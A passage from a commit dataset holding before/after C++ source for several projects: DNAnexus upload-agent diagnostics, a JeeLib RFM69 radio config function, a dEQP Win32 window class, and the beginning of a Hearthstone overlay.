endl;\n }\n#else\n struct utsname uts;\n uname(&uts);\n cout << \"Operating System:\" << endl\n << \" Name: \" << uts.sysname << endl \n << \" Release: \" << uts.release << endl\n << \" Version: \" << uts.version << endl\n << \" Machine: \" << uts.machine << endl;\n#endif\n}\n\nvoid printEnvironmentInfo(bool printToken) {\n cout << \"Upload Agent v\" << UAVERSION << \", environment info:\" << endl\n << \" API server protocol: \" << APISERVER_PROTOCOL() << endl\n << \" API server host: \" << APISERVER_HOST() << endl\n << \" API server port: \" << APISERVER_PORT() << endl;\n\n if (printToken) {\n if (SECURITY_CONTEXT().size() != 0)\n cout << \" Auth token: \" << SECURITY_CONTEXT()[\"auth_token\"].get<string>() << endl;\n else\n cout << \" Auth token: \" << endl;\n }\n}\n\nvoid currentProject() {\n string projID = CURRENT_PROJECT();\n try {\n if (projID.empty()) {\n cout << \" Current Project: None\" << endl;\n } else {\n string projName = getProjectName(projID);\n cout << \" Current Project: \" << projName << \" (\" << projID << \")\" << endl;\n }\n } catch (DXAPIError &e) {\n cout << \" Current Project: \"<< \" (\" << projID << \")\" << e.what() << endl;\n }\n}\n\nbool getProxyValue(const char * name, string &value) {\n if (getenv(name) == NULL)\n return false;\n value = string(getenv(name));\n \/\/ Remove credentials from string\n std::size_t atSimbol = value.find_first_of(\"@\");\n if (atSimbol != string::npos ) {\n if (value.substr(0, 7) == \"http:\/\/\") {\n value.replace(7, atSimbol-7, \"****\");\n } else if (value.substr(0, 8) == \"https:\/\/\") {\n value.replace(8, atSimbol-8, \"****\");\n } else {\n value.replace(0, atSimbol, \"****\");\n }\n cout << \" To see actual username and password run: echo $\" << name << endl;\n cout << \" Note that special characters in username \/ password might prevent credentials from being resolved properly.\" << endl;\n }\n return true;\n}\n\n\nvoid proxySettings() {\n string value;\n cout << \"Proxy Settings:\" << endl;\n bool proxySet = false;\n if (getProxyValue(\"http_proxy\", value)) { cout << \" http_proxy: \" << value << endl; proxySet = true;}\n if (getProxyValue(\"https_proxy\", value)) { cout << \" https_proxy: \" << value << endl;proxySet = true;}\n if (getProxyValue(\"HTTP_PROXY\", value)) { cout << \" HTTP_PROXY: \" << value << endl;proxySet = true;}\n if (getProxyValue(\"HTTPS_PROXY\", value)) { cout << \" HTTP_PROXY: \" << value << endl;proxySet = true;}\n if (!proxySet) { cout << \" No proxy set in environment.\" << endl; }\n}\n\nvoid certificateFile() {\n cout << \"CA Certificate: \" << CA_CERT() << endl;\n}\n\nvoid testWhoAmI(){\n cout << \" Current User: \";\n try {\n JSON res = systemWhoami(string(\"{}\"), false);\n cout << res[\"id\"].get<string>() << endl;\n } catch(DXAPIError &e) {\n cout << \"Error contacting the api: \" << e.what() << endl;\n } catch (DXConnectionError &e) {\n cout << \"Error contacting the api: \" << e.what() << endl;\n } catch (...) {\n cout << \"Error contacting the api.\" << endl;\n }\n}\n\nvoid contactGoogle() {\n cout << \"Testing connection:\" << endl;\n try {\n string url = \"http:\/\/www.google.com\/\";\n HttpRequest req = HttpRequest::request(dx::HTTP_GET, url);\n if (req.responseCode == 200) {\n cout << \" Sucessfully contacted google.com over http: (\" << req.responseCode << \")\" << endl;\n } else {\n cout << \" Unable to contact google.com over http: (\" << req.responseCode << \")\" << endl;\n }\n } catch (HttpRequestException &e) {\n cout << \"Error contacting google over http: \" << e.what();\n } catch (...) {\n cout << \"Error contacting the api.\" << endl;\n }\n\n try {\n string url = \"https:\/\/www.google.com\/\";\n HttpRequest req = HttpRequest::request(dx::HTTP_GET, url);\n if (req.responseCode == 200) {\n cout << \" Sucessfully contacted google.com over https: (\" << req.responseCode << \")\" << endl;\n } else {\n cout << \" Unable to contact google.com over https: (\" << req.responseCode << \")\" << endl;\n }\n } catch (HttpRequestException &e) {\n cout << \"Error contacting google over https: \" << e.what() << endl;\n } catch (...) {\n cout << \"Error contacting google\" << endl;\n }\n}\n\nvoid resolveAmazonS3(){\n cout << \"Resolving Amazon S3:\" << endl;\n string awsIP = getRandomIP(\"s3.amazonaws.com\");\n if (awsIP.empty()){\n cout << \" Unable to resolve Amazon S3\" << endl;\n } else {\n cout << \" Resolved to \" << awsIP << endl;\n }\n}\n\n<commit_msg>Fix typo in log output<commit_after>\/\/ Copyright (C) 2016 DNAnexus, Inc.\n\/\/\n\/\/ This file is part of dx-toolkit (DNAnexus platform client libraries).\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n\/\/ not use this file except in compliance with the License. You may obtain a\n\/\/ copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n\/\/ WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n\/\/ License for the specific language governing permissions and limitations\n\/\/ under the License.\n\n\n\n\/\/ This function should be called before opt.setApiserverDxConfig() is called,\n\/\/ since opt::setApiserverDxConfig() changes the value of dx::config::*, based on command line args\n\n#include <string>\n#include \"ua_test.h\"\n#include \"dxcpp\/dxcpp.h\"\n#include \"api_helper.h\"\n#include \"options.h\"\n#include \"api.h\"\n#include \"round_robin_dns.h\"\n\n#if WINDOWS_BUILD\n#include <windows.h>\n#else\n#include <sys\/utsname.h>\n#endif\n\nusing namespace std;\nusing namespace dx;\nusing namespace dx::config;\n\nvoid runTests()\n{\n version();\n printEnvironmentInfo(false);\n testWhoAmI();\n currentProject();\n proxySettings(); \n osInfo();\n certificateFile();\n resolveAmazonS3();\n contactGoogle();\n}\n\nvoid version() {\n cout << \"Upload Agent Version: \" << UAVERSION;\n#if OLD_KERNEL_SUPPORT\n cout << \" (old-kernel-support)\";\n#endif\n cout << endl\n << \" git version: \" << DXTOOLKIT_GITVERSION << endl\n << \" libboost version: \" << (BOOST_VERSION \/ 100000) << \".\" << ((BOOST_VERSION \/ 100) % 1000) << \".\" << (BOOST_VERSION % 100) << endl\n << \" libcurl version: \" << LIBCURL_VERSION_MAJOR << \".\" << LIBCURL_VERSION_MINOR << \".\" << LIBCURL_VERSION_PATCH << endl;\n}\n\nvoid osInfo(){\n#if WINDOWS_BUILD\n OSVERSIONINFO vi;\n vi.dwOSVersionInfoSize = sizeof(vi);\n try {\n GetVersionEx(&vi);\n cout << \"Operating System:\" << endl\n << \" Windows: \" << vi.dwMajorVersion << \".\" << vi.dwMinorVersion << \".\" << vi.dwBuildNumber\n << \".\" << vi.dwPlatformId << \" \" << vi.szCSDVersion << endl;\n } catch(exception &e){\n cout << \"Unable to get OS information\" << e.what() << endl;\n }\n#else\n struct utsname uts;\n uname(&uts);\n cout << \"Operating System:\" << endl\n << \" Name: \" << uts.sysname << endl \n << \" Release: \" << uts.release << endl\n << \" Version: \" << uts.version << endl\n << \" Machine: \" << uts.machine << endl;\n#endif\n}\n\nvoid printEnvironmentInfo(bool printToken) {\n cout << \"Upload Agent v\" << UAVERSION << \", environment info:\" << endl\n << \" API server protocol: \" << APISERVER_PROTOCOL() << endl\n << \" API server host: \" << APISERVER_HOST() << endl\n << \" API server port: \" << APISERVER_PORT() << endl;\n\n if (printToken) {\n if (SECURITY_CONTEXT().size() != 0)\n cout << \" Auth token: \" << SECURITY_CONTEXT()[\"auth_token\"].get<string>() << endl;\n else\n cout << \" Auth token: \" << endl;\n }\n}\n\nvoid currentProject() {\n string projID = CURRENT_PROJECT();\n try {\n if (projID.empty()) {\n cout << \" Current Project: None\" << endl;\n } else {\n string projName = getProjectName(projID);\n cout << \" Current Project: \" << projName << \" (\" << projID << \")\" << endl;\n }\n } catch (DXAPIError &e) {\n cout << \" Current Project: \"<< \" (\" << projID << \")\" << e.what() << endl;\n }\n}\n\nbool getProxyValue(const char * name, string &value) {\n if (getenv(name) == NULL)\n return false;\n value = string(getenv(name));\n \/\/ Remove credentials from string\n std::size_t atSimbol = value.find_first_of(\"@\");\n if (atSimbol != string::npos ) {\n if (value.substr(0, 7) == \"http:\/\/\") {\n value.replace(7, atSimbol-7, \"****\");\n } else if (value.substr(0, 8) == \"https:\/\/\") {\n value.replace(8, atSimbol-8, \"****\");\n } else {\n value.replace(0, atSimbol, \"****\");\n }\n cout << \" To see actual username and password run: echo $\" << name << endl;\n cout << \" Note that special characters in username \/ password might prevent credentials from being resolved properly.\" << endl;\n }\n return true;\n}\n\n\nvoid proxySettings() {\n string value;\n cout << \"Proxy Settings:\" << endl;\n bool proxySet = false;\n if (getProxyValue(\"http_proxy\", value)) { cout << \" http_proxy: \" << value << endl; proxySet = true;}\n if (getProxyValue(\"https_proxy\", value)) { cout << \" https_proxy: \" << value << endl;proxySet = true;}\n if (getProxyValue(\"HTTP_PROXY\", value)) { cout << \" HTTP_PROXY: \" << value << endl;proxySet = true;}\n if (getProxyValue(\"HTTPS_PROXY\", value)) { cout << \" HTTP_PROXY: \" << value << endl;proxySet = true;}\n if (!proxySet) { cout << \" No proxy set in environment.\" << endl; }\n}\n\nvoid certificateFile() {\n cout << \"CA Certificate: \" << CA_CERT() << endl;\n}\n\nvoid testWhoAmI(){\n cout << \" Current User: \";\n try {\n JSON res = systemWhoami(string(\"{}\"), false);\n cout << res[\"id\"].get<string>() << endl;\n } catch(DXAPIError &e) {\n cout << \"Error contacting the api: \" << e.what() << endl;\n } catch (DXConnectionError &e) {\n cout << \"Error contacting the api: \" << e.what() << endl;\n } catch (...) {\n cout << \"Error contacting the api.\" << endl;\n }\n}\n\nvoid contactGoogle() {\n cout << \"Testing connection:\" << endl;\n try {\n string url = \"http:\/\/www.google.com\/\";\n HttpRequest req = HttpRequest::request(dx::HTTP_GET, url);\n if (req.responseCode == 200) {\n cout << \" Successfully contacted google.com over http: (\" << req.responseCode << \")\" << endl;\n } else {\n cout << \" Unable to contact google.com over http: (\" << req.responseCode << \")\" << endl;\n }\n } catch (HttpRequestException &e) {\n cout << \"Error contacting google over http: \" << e.what();\n } catch (...) {\n cout << \"Error contacting the api.\" << endl;\n }\n\n try {\n string url = \"https:\/\/www.google.com\/\";\n HttpRequest req = HttpRequest::request(dx::HTTP_GET, url);\n if (req.responseCode == 200) {\n cout << \" Successfully contacted google.com over https: (\" << req.responseCode << \")\" << endl;\n } else {\n cout << \" Unable to contact google.com over https: (\" << req.responseCode << \")\" << endl;\n }\n } catch (HttpRequestException &e) {\n cout << \"Error contacting google over https: \" << e.what() << endl;\n } catch (...) {\n cout << \"Error contacting google\" << endl;\n }\n}\n\nvoid resolveAmazonS3(){\n cout << \"Resolving Amazon S3:\" << endl;\n string awsIP = getRandomIP(\"s3.amazonaws.com\");\n if (awsIP.empty()){\n cout << \" Unable to resolve Amazon S3\" << endl;\n } else {\n cout << \" Resolved to \" << awsIP << endl;\n }\n}\n\n<|endoftext|>"} {"text":"<commit_before>#include <JeeLib.h>\n\nvolatile uint16_t rf69_crc;\nvolatile uint8_t rf69_buf[72];\n\n\/\/ void rf69_set_cs (uint8_t pin) {\n\/\/ }\n\n\/\/ void rf69_spiInit () {\n\/\/ }\n\nuint8_t rf69_initialize (uint8_t id, uint8_t band, uint8_t group) {\n RF69::frf = band == RF12_433MHZ ? 0x6C4000L : \/\/ or 0x6C8000 for 434 MHz?\n band == RF12_868MHZ ? 0xD90000L : 0xE4C000L;\n RF69::group = group;\n RF69::node = id;\n delay(20); \/\/ needed to make RFM69 work properly on power-up\n RF69::configure_compat();\n return id;\n}\n\nuint8_t rf69_config (uint8_t show) {\n rf69_initialize(31, RF12_868MHZ, 5);\n return 31; \/\/ TODO\n}\n\nuint8_t rf69_recvDone () {\n rf69_crc = RF69::recvDone_compat((uint8_t*) rf69_buf);\n return rf69_crc != ~0;\n}\n\nuint8_t rf69_canSend () {\n return RF69::canSend();\n}\n\n\/\/ void rf69_sendStart (uint8_t hdr) {\n\/\/ }\n\nvoid rf69_sendStart (uint8_t hdr, const void* ptr, uint8_t len) {\n RF69::sendStart_compat(hdr, ptr, len);\n}\n\n\/\/ void rf69_sendStart (uint8_t hdr, const void* ptr, uint8_t len, uint8_t sync) {\n\/\/ }\n\nvoid rf69_sendNow (uint8_t hdr, const void* ptr, uint8_t len) {\n while (!rf69_canSend())\n rf69_recvDone();\n rf69_sendStart(hdr, ptr, len);\n}\n\nvoid rf69_sendWait (uint8_t mode) {\n \/\/ TODO\n}\n\nvoid rf69_onOff (uint8_t value) {\n \/\/ TODO\n}\n\nvoid rf69_sleep (char n) {\n \/\/ TODO\n}\n\n\/\/ char rf69_lowbat () {\n\/\/ }\n\n\/\/ void rf69_easyInit (uint8_t secs) {\n\/\/ }\n\n\/\/ char rf69_easyPoll () {\n\/\/ }\n\n\/\/ char rf69_easySend (const void* data, uint8_t size) {\n\/\/ }\n\n\/\/ void rf69_encrypt (const uint8_t*) {\n\/\/ }\n\n\/\/ uint16_t rf69_control (uint16_t cmd) {\n\/\/ }\n<commit_msg>fix rf69_config<commit_after>#include <JeeLib.h>\n#include <avr\/eeprom.h>\n#include <util\/crc16.h>\n\nvolatile uint16_t rf69_crc;\nvolatile uint8_t rf69_buf[72];\n\n\/\/ void rf69_set_cs (uint8_t pin) {\n\/\/ }\n\n\/\/ void rf69_spiInit () {\n\/\/ }\n\nuint8_t rf69_initialize (uint8_t id, uint8_t band, uint8_t group) {\n RF69::frf = band == RF12_433MHZ ? 0x6C4000L : \/\/ or 0x6C8000 for 434 MHz?\n band == RF12_868MHZ ? 0xD90000L : 0xE4C000L;\n RF69::group = group;\n RF69::node = id;\n delay(20); \/\/ needed to make RFM69 work properly on power-up\n RF69::configure_compat();\n return id;\n}\n\n\/\/ same code as rf12_config, just calling rf69_initialize() instead\nuint8_t rf69_config (uint8_t show) {\n uint16_t crc = ~0;\n for (uint8_t i = 0; i < RF12_EEPROM_SIZE; ++i)\n crc = _crc16_update(crc, eeprom_read_byte(RF12_EEPROM_ADDR + i));\n if (crc != 0)\n return 0;\n \n uint8_t nodeId = 0, group = 0;\n for (uint8_t i = 0; i < RF12_EEPROM_SIZE - 2; ++i) {\n uint8_t b = eeprom_read_byte(RF12_EEPROM_ADDR + i);\n if (i == 0)\n nodeId = b;\n else if (i == 1)\n group = b;\n else if (b == 0)\n break;\n else if (show)\n Serial.print((char) b);\n }\n if (show)\n Serial.println();\n \n rf69_initialize(nodeId, nodeId >> 6, group);\n return nodeId & RF12_HDR_MASK;\n}\n\nuint8_t rf69_recvDone () {\n rf69_crc = RF69::recvDone_compat((uint8_t*) rf69_buf);\n return rf69_crc != ~0;\n}\n\nuint8_t rf69_canSend () {\n return RF69::canSend();\n}\n\n\/\/ void rf69_sendStart (uint8_t hdr) {\n\/\/ }\n\nvoid rf69_sendStart (uint8_t hdr, const void* ptr, uint8_t len) {\n RF69::sendStart_compat(hdr, ptr, len);\n}\n\n\/\/ void rf69_sendStart (uint8_t hdr, const void* ptr, uint8_t len, uint8_t sync) {\n\/\/ }\n\nvoid rf69_sendNow (uint8_t hdr, const void* ptr, uint8_t len) {\n while (!rf69_canSend())\n rf69_recvDone();\n rf69_sendStart(hdr, ptr, len);\n}\n\nvoid rf69_sendWait (uint8_t mode) {\n \/\/ TODO\n}\n\nvoid rf69_onOff (uint8_t value) {\n \/\/ TODO\n}\n\nvoid rf69_sleep (char n) {\n \/\/ TODO\n}\n\n\/\/ char rf69_lowbat () {\n\/\/ }\n\n\/\/ void rf69_easyInit (uint8_t secs) {\n\/\/ }\n\n\/\/ char rf69_easyPoll () {\n\/\/ }\n\n\/\/ char rf69_easySend (const void* data, uint8_t size) {\n\/\/ }\n\n\/\/ void rf69_encrypt (const uint8_t*) {\n\/\/ }\n\n\/\/ uint16_t rf69_control (uint16_t cmd) {\n\/\/ }\n<|endoftext|>"} {"text":"<commit_before>\/*-------------------------------------------------------------------------\n * drawElements Quality Program Tester Core\n * ----------------------------------------\n *\n * Copyright 2014 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\/*!\n * \\file\n * \\brief Generic Win32 window class.\n *\/\/*--------------------------------------------------------------------*\/\n\n#include \"tcuWin32Window.hpp\"\n\nnamespace tcu\n{\n\nstatic LRESULT CALLBACK win32WindowProc (HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)\n{\n\tWin32Window* window = reinterpret_cast<Win32Window*>(GetWindowLongPtr(hWnd, GWLP_USERDATA));\n\tif (window)\n\t\treturn window->windowProc(uMsg, wParam, lParam);\n\telse\n\t\treturn DefWindowProc(hWnd, uMsg, wParam, lParam);\n}\n\nWin32Window::Win32Window (HINSTANCE instance, int width, int height)\n\t: m_window\t\t(DE_NULL)\n{\n\ttry\n\t{\n\t\tstatic const char\ts_className[]\t= \"dEQP Tester Core Class\";\n\t\tstatic const char\ts_windowName[]\t= \"dEQP Tester Core\";\n\n\t\t{\n\t\t\tWNDCLASS wndClass;\n\t\t\tmemset(&wndClass, 0, sizeof(wndClass));\n\t\t\twndClass.style\t\t\t= CS_HREDRAW | CS_VREDRAW | CS_OWNDC;\n\t\t\twndClass.lpfnWndProc\t= win32WindowProc;\n\t\t\twndClass.cbClsExtra\t\t= 0;\n\t\t\twndClass.cbWndExtra\t\t= 0;\n\t\t\twndClass.hInstance\t\t= instance;\n\t\t\twndClass.hIcon\t\t\t= LoadIcon(NULL, IDI_APPLICATION);\n\t\t\twndClass.hCursor\t\t= LoadCursor(NULL, IDC_ARROW);\n\t\t\twndClass.hbrBackground\t= CreateSolidBrush(RGB(0, 0, 0));\n\t\t\twndClass.lpszMenuName\t= NULL;\n\t\t\twndClass.lpszClassName\t= s_className;\n\n\t\t\tRegisterClass(&wndClass);\n\t\t}\n\n\t\tm_window = CreateWindow(s_className, s_windowName,\n\t\t\t\t\t\t\t\tWS_CLIPCHILDREN | WS_OVERLAPPEDWINDOW,\n\t\t\t\t\t\t\t\tCW_USEDEFAULT, CW_USEDEFAULT,\n\t\t\t\t\t\t\t\twidth, height,\n\t\t\t\t\t\t\t\tNULL, NULL, instance, NULL);\n\n\t\tif (!m_window)\n\t\t\tthrow ResourceError(\"Failed to create Win32 window\", \"\", __FILE__, __LINE__);\n\n\t\t\/\/ Store this as userdata\n\t\tSetWindowLongPtr(m_window, GWLP_USERDATA, (LONG_PTR)this);\n\n\t\tsetSize(width, height);\n\t}\n\tcatch (...)\n\t{\n\t\tif (m_window)\n\t\t\tDestroyWindow(m_window);\n\n\t\tthrow;\n\t}\n}\n\nWin32Window::~Win32Window (void)\n{\n\tif (m_window)\n\t{\n\t\t\/\/ Clear this pointer from windowproc\n\t\tSetWindowLongPtr(m_window, GWLP_USERDATA, 0);\n\t}\n\n\tDestroyWindow(m_window);\n}\n\nvoid Win32Window::setVisible (bool visible)\n{\n\tShowWindow(m_window, visible ? SW_SHOW : SW_HIDE);\n}\n\nvoid Win32Window::setSize (int width, int height)\n{\n\tRECT rc;\n\n\trc.left\t\t= 0;\n\trc.top\t\t= 0;\n\trc.right\t= width;\n\trc.bottom\t= height;\n\n\tif (!AdjustWindowRect(&rc, GetWindowLong(m_window, GWL_STYLE), GetMenu(m_window) != NULL))\n\t\tthrow tcu::TestError(\"AdjustWindowRect() failed\", DE_NULL, __FILE__, __LINE__);\n\n\tif (!SetWindowPos(m_window, NULL, 0, 0,\n\t\t\t\t\t rc.right - rc.left, rc.bottom - rc.top,\n\t\t\t\t\t SWP_NOACTIVATE | SWP_NOCOPYBITS | SWP_NOMOVE | SWP_NOZORDER))\n\t\tthrow tcu::TestError(\"SetWindowPos() failed\", DE_NULL, __FILE__, __LINE__);\n}\n\nIVec2 Win32Window::getSize (void) const\n{\n\tRECT rc;\n\tif (!GetClientRect(m_window, &rc))\n\t\tthrow tcu::TestError(\"GetClientRect() failed\", DE_NULL, __FILE__, __LINE__);\n\n\treturn IVec2(rc.right - rc.left,\n\t\t\t\t rc.bottom - rc.top);\n}\n\nvoid Win32Window::processEvents (void)\n{\n\tMSG msg;\n\twhile (PeekMessage(&msg, m_window, 0, 0, PM_REMOVE))\n\t\tDispatchMessage(&msg);\n}\n\nLRESULT Win32Window::windowProc (UINT uMsg, WPARAM wParam, LPARAM lParam)\n{\n\tswitch (uMsg)\n\t{\n\t\t\/\/ \\todo [2014-03-12 pyry] Handle WM_SIZE?\n\n\t\tcase WM_DESTROY:\n\t\t\tPostQuitMessage(0);\n\t\t\treturn 0;\n\n\t\tcase WM_KEYDOWN:\n\t\t\tif (wParam == VK_ESCAPE)\n\t\t\t{\n\t\t\t\tPostQuitMessage(0);\n\t\t\t\treturn 0;\n\t\t\t}\n\t\t\t\/\/ fall-through\n\n\t\tdefault:\n\t\t\treturn DefWindowProc(m_window, uMsg, wParam, lParam);\n\t}\n}\n\n} \/\/ tcu\n<commit_msg>Win32Window cleanup<commit_after>\/*-------------------------------------------------------------------------\n * drawElements Quality Program Tester Core\n * ----------------------------------------\n *\n * Copyright 2014 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\/*!\n * \\file\n * \\brief Generic Win32 window class.\n *\/\/*--------------------------------------------------------------------*\/\n\n#include \"tcuWin32Window.hpp\"\n\nnamespace tcu\n{\n\nstatic LRESULT CALLBACK win32WindowProc (HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)\n{\n\tWin32Window* window = reinterpret_cast<Win32Window*>(GetWindowLongPtr(hWnd, GWLP_USERDATA));\n\tif (window)\n\t\treturn window->windowProc(uMsg, wParam, lParam);\n\telse\n\t\treturn DefWindowProc(hWnd, uMsg, wParam, lParam);\n}\n\nWin32Window::Win32Window (HINSTANCE instance, int width, int height)\n\t: m_window\t\t(DE_NULL)\n{\n\ttry\n\t{\n\t\tstatic const char\ts_className[]\t= \"dEQP Test Process Class\";\n\t\tstatic const char\ts_windowName[]\t= \"dEQP Test Process\";\n\n\t\t{\n\t\t\tWNDCLASS wndClass;\n\t\t\tmemset(&wndClass, 0, sizeof(wndClass));\n\t\t\twndClass.style\t\t\t= CS_HREDRAW | CS_VREDRAW | CS_OWNDC;\n\t\t\twndClass.lpfnWndProc\t= win32WindowProc;\n\t\t\twndClass.cbClsExtra\t\t= 0;\n\t\t\twndClass.cbWndExtra\t\t= 0;\n\t\t\twndClass.hInstance\t\t= instance;\n\t\t\twndClass.hIcon\t\t\t= LoadIcon(NULL, IDI_APPLICATION);\n\t\t\twndClass.hCursor\t\t= LoadCursor(NULL, IDC_ARROW);\n\t\t\twndClass.hbrBackground\t= CreateSolidBrush(RGB(0, 0, 0));\n\t\t\twndClass.lpszMenuName\t= NULL;\n\t\t\twndClass.lpszClassName\t= s_className;\n\n\t\t\tRegisterClass(&wndClass);\n\t\t}\n\n\t\tm_window = CreateWindow(s_className, s_windowName,\n\t\t\t\t\t\t\t\tWS_CLIPCHILDREN | WS_OVERLAPPEDWINDOW,\n\t\t\t\t\t\t\t\tCW_USEDEFAULT, CW_USEDEFAULT,\n\t\t\t\t\t\t\t\twidth, height,\n\t\t\t\t\t\t\t\tNULL, NULL, instance, NULL);\n\n\t\tif (!m_window)\n\t\t\tTCU_THROW(ResourceError, \"Failed to create Win32 window\");\n\n\t\t\/\/ Store this as userdata\n\t\tSetWindowLongPtr(m_window, GWLP_USERDATA, (LONG_PTR)this);\n\n\t\tsetSize(width, height);\n\t}\n\tcatch (...)\n\t{\n\t\tif (m_window)\n\t\t\tDestroyWindow(m_window);\n\n\t\tthrow;\n\t}\n}\n\nWin32Window::~Win32Window (void)\n{\n\tif (m_window)\n\t{\n\t\t\/\/ Clear this pointer from windowproc\n\t\tSetWindowLongPtr(m_window, GWLP_USERDATA, 0);\n\t}\n\n\tDestroyWindow(m_window);\n}\n\nvoid Win32Window::setVisible (bool visible)\n{\n\tShowWindow(m_window, visible ? SW_SHOW : SW_HIDE);\n}\n\nvoid Win32Window::setSize (int width, int height)\n{\n\tRECT rc;\n\n\trc.left\t\t= 0;\n\trc.top\t\t= 0;\n\trc.right\t= width;\n\trc.bottom\t= height;\n\n\tif (!AdjustWindowRect(&rc, GetWindowLong(m_window, GWL_STYLE), GetMenu(m_window) != NULL))\n\t\tTCU_THROW(TestError, \"AdjustWindowRect() failed\");\n\n\tif (!SetWindowPos(m_window, NULL, 0, 0,\n\t\t\t\t\t rc.right - rc.left, rc.bottom - rc.top,\n\t\t\t\t\t SWP_NOACTIVATE | SWP_NOCOPYBITS | SWP_NOMOVE | SWP_NOZORDER))\n\t\tTCU_THROW(TestError, \"SetWindowPos() failed\");\n}\n\nIVec2 Win32Window::getSize (void) const\n{\n\tRECT rc;\n\tif (!GetClientRect(m_window, &rc))\n\t\tTCU_THROW(TestError, \"GetClientRect() failed\");\n\n\treturn IVec2(rc.right - rc.left,\n\t\t\t\t rc.bottom - rc.top);\n}\n\nvoid Win32Window::processEvents (void)\n{\n\tMSG msg;\n\twhile (PeekMessage(&msg, m_window, 0, 0, PM_REMOVE))\n\t\tDispatchMessage(&msg);\n}\n\nLRESULT Win32Window::windowProc (UINT uMsg, WPARAM wParam, LPARAM lParam)\n{\n\tswitch (uMsg)\n\t{\n\t\t\/\/ \\todo [2014-03-12 pyry] Handle WM_SIZE?\n\n\t\tcase WM_DESTROY:\n\t\t\tPostQuitMessage(0);\n\t\t\treturn 0;\n\n\t\tcase WM_KEYDOWN:\n\t\t\tif (wParam == VK_ESCAPE)\n\t\t\t{\n\t\t\t\tPostQuitMessage(0);\n\t\t\t\treturn 0;\n\t\t\t}\n\t\t\t\/\/ fall-through\n\n\t\tdefault:\n\t\t\treturn DefWindowProc(m_window, uMsg, wParam, lParam);\n\t}\n}\n\n} \/\/ tcu\n<|endoftext|>"} {"text":"<commit_before>#include \"Overlay.h\"\n#include \"ui_Overlay.h\"\n\n#include \"..\/Hearthstone.h\"\n#include \"..\/Settings.h\"\n\n#ifdef Q_OS_MAC\n#include <objc\/objc-runtime.h>\n#endif\n\n#include <cassert>\n\n#include <QJsonArray>\n#include <QJsonObject>\n#include <QJsonDocument>\n#include <QFile>\n#include <QMouseEvent>\n\n#define CHECK_FOR_OVERLAY_HOVER_INTERVAL_MS 100\n\nclass OverlayHistoryWindow {\nprivate:\n QString mTitle;\n OverlayHistoryList mHistory;\n\n QFont mRowFont;\n QFont mTitleFont;\n\n int mWidth;\n\n int mPadding;\n int mRowSpacing;\n\n\n int TitleHeight() const {\n QFontMetrics titleMetrics( mTitleFont );\n return titleMetrics.ascent() - titleMetrics.descent();\n }\n\n int Padding() const {\n return mPadding;\n }\n\n int RowSpacing() const {\n return mRowSpacing;\n }\n\n int RowHeight() const {\n QFontMetrics rowMetrics( mRowFont );\n return rowMetrics.ascent() - rowMetrics.descent();\n }\n\n int RowWidth() const {\n return Width() - Padding() * 2;\n }\n\n void DrawMana( QPainter& painter, int x, int y, int width, int height, int mana ) const {\n \/\/ Draw mana\n QPen origPen = painter.pen();\n QPen pen( QColor( 0, 52, 113 ) );\n pen.setCosmetic( true );\n pen.setWidth( 1 );\n painter.setPen( pen );\n\n QBrush brush( QColor( 40, 119, 238 ) );\n painter.setBrush( brush );\n\n QTransform transform;\n painter.translate( x + width * 0.5, y + height * 0.5 );\n painter.scale( width * 0.8, height * 0.8 );\n\n static const QPointF points[5] = {\n QPointF( 0.0, -1.0 ),\n QPointF( 1.0, -0.2 ),\n QPointF( 0.6, 1.0 ),\n QPointF( -0.6, 1.0 ),\n QPointF( -1.0, -0.2 ),\n };\n painter.drawConvexPolygon( points, 5 );\n painter.resetTransform();\n painter.setPen( origPen );\n\n painter.drawText( x, y, width, height, Qt::AlignCenter | Qt::AlignVCenter, QString::number( mana ) );\n }\n\n void DrawCardLine( QPainter& painter, int x, int y, int width, int height, const QString& name, int count ) const {\n painter.save();\n painter.drawText( x, y, width, height, Qt::AlignLeft | Qt::AlignVCenter | Qt::TextDontClip, name );\n\n if( count > 1 ) {\n int nameWidth = QFontMetrics( painter.font() ).width( name + \" \" );\n QString countString = QString( \"x%1\" ).arg( count );\n QFont font = painter.font();\n font.setBold( true );\n painter.setFont( font );\n painter.drawText( x + nameWidth, y, width - nameWidth, height, Qt::AlignLeft | Qt::AlignVCenter | Qt::TextDontClip, countString );\n }\n painter.restore();\n }\n\npublic:\n OverlayHistoryWindow( const QString& title, const OverlayHistoryList& history, int width, int padding, int rowSpacing, float titleFontSize, float rowFontSize )\n : mTitle( title ), mHistory( history ), mWidth( width ), mPadding( padding ), mRowSpacing( rowSpacing )\n {\n mRowFont.setPointSize( titleFontSize );\n mTitleFont.setPointSize( rowFontSize );\n mTitleFont.setUnderline( true );\n mTitleFont.setBold( true );\n }\n\n int Width() const {\n return mWidth;\n }\n\n int Height() const {\n return ( mHistory.count() - 1 ) * RowSpacing() + \/\/ Spacing between items\n mHistory.count() * RowHeight() + \/\/ Height per item\n TitleHeight() + RowSpacing() + \/\/ Title\n Padding() * 2; \/\/ Overall padding\n }\n\n void Paint( QPainter& painter, int x, int y ) const {\n painter.save();\n\n QRect rect( x, y, Width(), Height() );\n painter.setClipRect( rect );\n\n \/\/ BG\n QPen pen = QPen( QColor( 160, 160, 160 ) );\n pen.setWidth( 3 );\n painter.setPen( pen );\n 